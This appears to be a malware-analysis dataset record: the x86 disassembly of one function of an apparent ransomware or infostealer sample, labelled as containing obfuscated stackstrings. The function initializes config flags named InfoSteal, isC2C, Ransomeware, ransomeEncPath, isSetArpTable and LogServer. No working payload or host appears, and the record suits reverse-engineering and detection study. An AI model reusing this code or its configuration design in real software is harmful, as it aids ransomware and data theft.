Function at 0x401580
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xf0
mov eax, 0x46ff68
call fcn.004638a3
mov edi, ecx
and dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
push str.drill
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409e55
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov esi, eax
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409e55
sub esp, 0x18
mov ecx, esp
push str.connect
mov ebx, eax
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409e55
mov dword [ebp - 0xf8], eax
test esi, esi
jne 0x401be1
mov esi, str.false
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isInit
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 2
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isConfigInit
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 4
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.InfoSteal
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 6
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isC2C
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 8
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isCominfo
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0xa
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isContinue
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0xc
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov byte [ebp - 4], 0xb
mov ecx, eax
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isExcute
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0xe
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isScan
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x10
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0xf
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x11
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isDownload
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x12
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x13
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isDelete
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x14
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x15
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isCopy
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x16
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x15
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isSetArpTable
call fcn.004022b1
mov byte [ebp - 4], 0x18
sub esp, 0x18
mov ecx, esp
push str.drill
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x17
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x19
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.Ransomeware
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x1a
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x19
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x1b
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isPopup
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x1c
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x1b
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x1d
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isVirtual
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x1e
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x1d
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.isRansomePopup
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.drill
mov byte [ebp - 4], 0x20
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x1f
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.004022e0
mov esi, str.NULL
test ebx, ebx
jne 0x4020e3
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.fileName
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x22
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x21
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x23
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.trn_id
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x24
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x23
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x25
mov ecx, esp
mov dword [ebp - 0xf0], esp
push 0x47fc50
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x26
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x25
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x27
mov ecx, esp
mov dword [ebp - 0xf0], esp
push 0x47fc5c
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x28
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x27
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x2c]
call fcn.004022b1
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x29
mov ecx, esp
mov dword [ebp - 0xf0], esp
push 0x47fc64
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x2a
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0xd4]
call fcn.004022b1
lea eax, [ebp - 0xd4]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x2b
mov ecx, esp
mov dword [ebp - 0xf0], esp
push 0x47fc6c
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x2c
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov byte [ebp - 4], 0x2b
mov ecx, eax
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x8c]
call fcn.004022b1
lea eax, [ebp - 0x8c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, esp
mov dword [ebp - 0xf0], esp
push 0x47fc74
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x2e
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x2d
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0xec]
call fcn.004022b1
lea eax, [ebp - 0xec]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x2f
mov ecx, esp
mov dword [ebp - 0xf0], esp
push 0x47fc7c
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x30
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x2f
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0xa4]
call fcn.004022b1
lea eax, [ebp - 0xa4]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x31
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.template_id
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x32
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x31
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0xbc]
call fcn.004022b1
lea eax, [ebp - 0xbc]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x33
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.malware_id
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x34
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x33
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x5c]
call fcn.004022b1
lea eax, [ebp - 0x5c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x35
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.ransomePlainPath
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x36
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x35
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x74]
call fcn.004022b1
lea eax, [ebp - 0x74]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x37
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.ransomeEncPath
call fcn.004022b1
sub esp, 0x18
mov byte [ebp - 4], 0x38
mov ecx, esp
push str.Computer_Information
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x37
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], bl
call fcn.004022e0
push esi
lea ecx, [ebp - 0x44]
call fcn.004022b1
lea eax, [ebp - 0x44]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x39
mov ecx, esp
mov dword [ebp - 0xf0], esp
push str.malChecker
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.Computer_Information
mov byte [ebp - 4], 0x3a
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x39
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], bl
call fcn.004022e0
jmp 0x4020e5
xor ebx, ebx
cmp dword [ebp - 0xf8], 0
jne 0x402253
lea ecx, [ebp - 0x5c]
call fcn.0040126f
lea eax, [ebp - 0x5c]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x3b
mov ecx, esp
mov dword [ebp - 0xf8], esp
push str.url_count
call fcn.004022b1
sub esp, 0x18
mov ecx, esp
push str.connect
mov byte [ebp - 4], 0x3c
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
mov esi, 0x4941e8
push esi
lea ecx, [ebp - 0xf8]
call fcn.0040255b
push esi
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x3d
call fcn.0040255b
push 1
lea eax, [ebp - 0xf4]
push 0x47fb4c
push eax
mov byte [ebp - 4], 0x3e
call fcn.00402ba1
add esp, 0xc
lea eax, [ebp - 0xf4]
push eax
mov edx, str.LogServer
lea ecx, [ebp - 0xf0]
call fcn.004023c2
pop ecx
push eax
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x3f
call fcn.00402374
mov byte [ebp - 4], 0x3e
mov ecx, dword [ebp - 0xf0]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov esi, dword [ebp - 0xf8]
push esi
lea ecx, [ebp - 0x74]
call fcn.004022b1
push str.NULL
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x40
call fcn.004022b1
lea eax, [ebp - 0x44]
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x74]
mov ecx, esp
mov dword [ebp - 0xf0], esp
push eax
call fcn.0040228b
sub esp, 0x18
mov ecx, esp
push str.connect
mov byte [ebp - 4], 0x42
call fcn.004022b1
mov ecx, dword [edi + 8]
call fcn.00409eba
mov ecx, eax
mov byte [ebp - 4], 0x41
call fcn.0040a177
mov ecx, eax
call fcn.0040a37d
lea ecx, [ebp - 0x44]
call fcn.004022e0
lea ecx, [ebp - 0x74]
call fcn.004022e0
mov ecx, dword [ebp - 0xf4]
lea ecx, [ecx - 0x10]
call fcn.00401253
lea ecx, [esi - 0x10]
call fcn.00401253
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004022e0
push dword [ebp + 8]
lea ecx, [ebp - 0x44]
call fcn.004022b1
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x43
mov ecx, dword [edi + 8]
push eax
call fcn.00409abc
lea ecx, [ebp - 0x44]
call fcn.004022e0
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401253
xor eax, eax
call fcn.00463852
ret 4